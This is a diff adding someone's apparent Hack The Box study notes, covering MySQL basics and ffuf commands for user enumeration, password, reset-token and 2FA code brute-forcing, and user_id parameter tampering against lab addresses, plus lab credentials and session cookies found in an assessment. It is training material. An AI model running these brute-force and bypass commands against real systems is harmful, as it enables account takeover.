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hack_the_box/HTB SQL Injection Fundamentals.md

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+# HTB SQL Injection Fundamentals
+
+## intro to mysql
+
+
+djelly@htb[/htb]$ mysql -u root -h docker.hackthebox.eu -P 3306 --skip-ssl -p 
+
+mysql> CREATE DATABASE users;
+
+mysql> USE users;
+
+mysql> CREATE TABLE logins (
+    ->     id INT,
+    ->     username VARCHAR(100),
+    ->     password VARCHAR(100),
+    ->     date_of_joining DATETIME
+    ->     );
+
+mysql> SHOW TABLES;
+
+mysql> DESCRIBE <table_name>;

hack_the_box/htb_broken_ authentication.md

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+# Broken Authentication
+
+## Enumerating Users
+
+ffuf -w /opt/useful/seclists/Usernames/xato-net-10-million-usernames.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown user"
+
+94.237.59.119:54491
+
+ffuf -w /opt/useful/seclists/Usernames/xato-net-10-million-usernames.txt -u http://94.237.59.119:54491/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown user"
+
+## Brute-Forcing Passwords
+
+grep '[[:upper:]]' /usr/share/wordlists/rockyou.txt | grep '[[:lower:]]' | grep '[[:digit:]]' | grep -E '.{10}' > custom_wordlist.txt
+
+94.237.55.98:31173
+ffuf -w ./custom_wordlist.txt -u http://94.237.55.98:31173/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=admin&password=FUZZ" -fr "Invalid username"
+
+## Brute-Forcing Password Reset Token
+
+seq -w 0 9999 > tokens.txt
+
+ffuf -w ./tokens.txt -u http://94.237.60.154:47607/reset_password.php?token=FUZZ -fr "The provided token is invalid"
+
+## Brute-Forcing 2fa codes
+
+ffuf -w ./tokens.txt -u http://94.237.62.147:47987/2fa.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=gnpl9fatno1bhbegjdirvk70p4" -d "otp=FUZZ" -fr "Invalid 2FA Code
+
+### Authentication Bypass via Parameter Modification
+
+seq -w 0 999 > user_ids.txt
+
+ffuf -w ./user_ids.txt -u http://94.237.51.81:46189/admin.php?user_id=FUZZ -fr "Could not load admin data"
+
+
+75736572 3d 6874622d7374646e743b726f6c653d 75736572
+75736572 3d 6874622d7374646e743b726f6c653d 75736572
+
+### assessemtn
+
+created user
+
+test q97hjg2khvl28mucpu7r8h6kb8
+admin q97hjg2khvl28mucpu7r8h6kb8
+root q97hjg2khvl28mucpu7r8h6kb8
+
+atleast 12 characters no special, atlease 1 number, lower, and upper
+0123456789aB
+
+
+
+
+ffuf -w ./xato-net-10-million-usernames.txt -u http://94.237.62.166:45749/login.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown username or password"
+
+username is gladys
+password is dWinaldasD13
+
+ffuf -w tokens.txt -u http://94.237.63.109:42328/2fa.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=f782dbv49aq0fb6o0iutruripj" -d "otp=FUZZ" -fr "Invalid OTP"
+Test0123456789